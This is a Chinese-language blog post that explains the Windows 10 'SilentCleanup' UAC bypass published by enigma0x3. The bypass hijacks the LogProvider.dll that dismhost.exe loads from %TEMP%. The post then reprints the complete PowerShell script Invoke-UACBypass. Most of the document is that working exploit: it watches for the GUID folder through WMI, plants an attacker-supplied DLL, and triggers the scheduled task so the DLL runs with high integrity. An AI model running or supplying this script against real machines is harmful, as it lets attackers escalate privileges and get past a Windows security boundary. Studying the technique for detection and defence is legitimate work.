最近看到enigma0x3博客上分享了一种通过Disk Cleanup计划任务进行bypassuac的姿势,感觉还是不错的,所以在这儿分享一下。原文在这里 戳我
关于BypassUAC工具已经很多了,有个非常不错的工具 UACME

简单的说一下通过Disk Cleanup进行bypassuac的原理。

Win10有一个计划任务叫做SilentCleanup,具体位置在\Microsoft\Windows\DiskCleanup

1.png

从图中可以看出,这个计划任务是会使用最高权限运行程序的,而加载此计划任务不需要最高权限。

此任务执行会运行cleanmgr.exe,而且会创建一个新的文件夹“C:\Users\<username>\AppData\Local\Temp\<GUID>” 并将dismhost.exe以及其使用的相关DLL文件复制到这个文件夹下面。

lala.png

当dismhost.exe运行时,会加载其要使用的DLL文件,由于当前目录是在%TEMP%,所以完全可以进行DLL劫持,测试发现LogProvider.dll是最后一个加载的DLL,可以被我们利用,所以只需要把这个DLL替换成我们的恶意DLL,那么这个计划任务运行的时候,我们的DLL就会被加载,达到BypassUAC的目的。为了能马上进行BypassUAC,可以使用WMI来运行这个计划任务。作者已经给出了利用脚本,链接 BypassUAC , 测试DLL链接:MessageBox。

有兴趣的测测看吧~

作者代码被墙了,贴在了下面:

  1. function Invoke-UACBypass {
  2. <#
  3. .SYNOPSIS
  4. Bypasses UAC on Windows 10 by abusing the SilentCleanup task to win a race condition, allowing for a DLL hijack without a privileged file copy.
  5. Author: Matthew Graeber (@mattifestation), Matt Nelson (@enigma0x3)
  6. License: BSD 3-Clause
  7. Required Dependencies: None
  8. Optional Dependencies: None
  9. .PARAMETER DllPath
  10. Specifies the path to the DLL you want executed in a high integrity context. Be mindful of the architecture of the DLL. It must match that of %SystemRoot%\System32\Dism\LogProvider.dll.
  11. .EXAMPLE
  12. Invoke-UACBypass -DllPath C:\Users\TestUser\Desktop\Win10UACBypass\PrivescTest.dll
  13. .EXAMPLE
  14. Invoke-UACBypass -DllPath C:\Users\TestUser\Desktop\TotallyLegit.txt -Verbose
  15. The DllPath can have any extension as long as the file itself is a DLL.
  16. #>
  17. [CmdletBinding()]
  18. [OutputType([System.IO.FileInfo])]
  19. Param (
  20. [Parameter(Mandatory = $True)]
  21. [String]
  22. [ValidateScript({ Test-Path $_ })]
  23. $DllPath
  24. )
  25. $PrivescAction = {
  26. $ReplacementDllPath = $Event.MessageData.DllPath
  27. # The newly created GUID folder
  28. $DismHostFolder = $EventArgs.NewEvent.TargetInstance.Name
  29. $OriginalPreference = $VerbosePreference
  30. # Force -Verbose to display in the event
  31. if ($Event.MessageData.VerboseSet -eq $True) {
  32. $VerbosePreference = 'Continue'
  33. }
  34. Write-Verbose "DismHost folder created in $DismHostFolder"
  35. Write-Verbose "$ReplacementDllPath to $DismHostFolder\LogProvider.dll"
  36. try {
  37. $FileInfo = Copy-Item -Path $ReplacementDllPath -Destination "$DismHostFolder\LogProvider.dll" -Force -PassThru -ErrorAction Stop
  38. } catch {
  39. Write-Warning "Error copying file! Message: $_"
  40. }
  41. # Restore the event preference
  42. $VerbosePreference = $OriginalPreference
  43. if ($FileInfo) {
  44. # Trigger Wait-Event to return and indicate success.
  45. New-Event -SourceIdentifier 'DllPlantedSuccess' -MessageData $FileInfo
  46. }
  47. }
  48. $VerboseSet = $False
  49. if ($PSBoundParameters['Verbose']) { $VerboseSet = $True }
  50. $MessageData = New-Object -TypeName PSObject -Property @{
  51. DllPath = $DllPath
  52. VerboseSet = $VerboseSet # Pass the verbose preference to the scriptblock since
  53. # event scriptblocks will not automatically honor -Verbose.
  54. }
  55. $TempDrive = $Env:TEMP.Substring(0,2)
  56. # Trigger the DLL dropper with the following conditions:
  57. # 1) A directory is created - i.e. new Win32_Directory instance
  58. # 2) The directory created is created under %TEMP%
  59. # 3) The directory name is in the form of a GUID
  60. $TempFolderCreationEvent = "SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA `"Win32_Directory`" AND TargetInstance.Drive = `"$TempDrive`" AND TargetInstance.Path = `"$($Env:TEMP.Substring(2).Replace('\', '\\'))\\`" AND TargetInstance.FileName LIKE `"________-____-____-____-____________`""
  61. $TempFolderWatcher = Register-WmiEvent -Query $TempFolderCreationEvent -Action $PrivescAction -MessageData $MessageData
  62. # We need to jump through these hoops to properly capture stdout and stderr of schtasks.
  63. $StartInfo = New-Object Diagnostics.ProcessStartInfo
  64. $StartInfo.FileName = 'schtasks'
  65. $StartInfo.Arguments = '/Run /TN "\Microsoft\Windows\DiskCleanup\SilentCleanup" /I'
  66. $StartInfo.RedirectStandardError = $True
  67. $StartInfo.RedirectStandardOutput = $True
  68. $StartInfo.UseShellExecute = $False
  69. $Process = New-Object Diagnostics.Process
  70. $Process.StartInfo = $StartInfo
  71. $null = $Process.Start()
  72. $Process.WaitForExit()
  73. $Stdout = $Process.StandardOutput.ReadToEnd().Trim()
  74. $Stderr = $Process.StandardError.ReadToEnd().Trim()
  75. if ($Stderr) {
  76. Unregister-Event -SubscriptionId $TempFolderWatcher.Id
  77. throw "SilentCleanup task failed to execute. Error message: $Stderr"
  78. } else {
  79. if ($Stdout.Contains('is currently running')) {
  80. Unregister-Event -SubscriptionId $TempFolderWatcher.Id
  81. Write-Warning 'SilentCleanup task is already running. Please wait until the task has completed.'
  82. }
  83. Write-Verbose "SilentCleanup task executed successfully. Message: $Stdout"
  84. }
  85. $PayloadExecutedEvent = Wait-Event -SourceIdentifier 'DllPlantedSuccess' -Timeout 10
  86. Unregister-Event -SubscriptionId $TempFolderWatcher.Id
  87. if ($PayloadExecutedEvent) {
  88. Write-Verbose 'UAC bypass was successful!'
  89. # Output the file info for the DLL that was planted
  90. $PayloadExecutedEvent.MessageData
  91. $PayloadExecutedEvent | Remove-Event
  92. } else {
  93. # The event timed out.
  94. Write-Error 'UAC bypass failed. The DLL was not planted in its target.'
  95. }
  96. }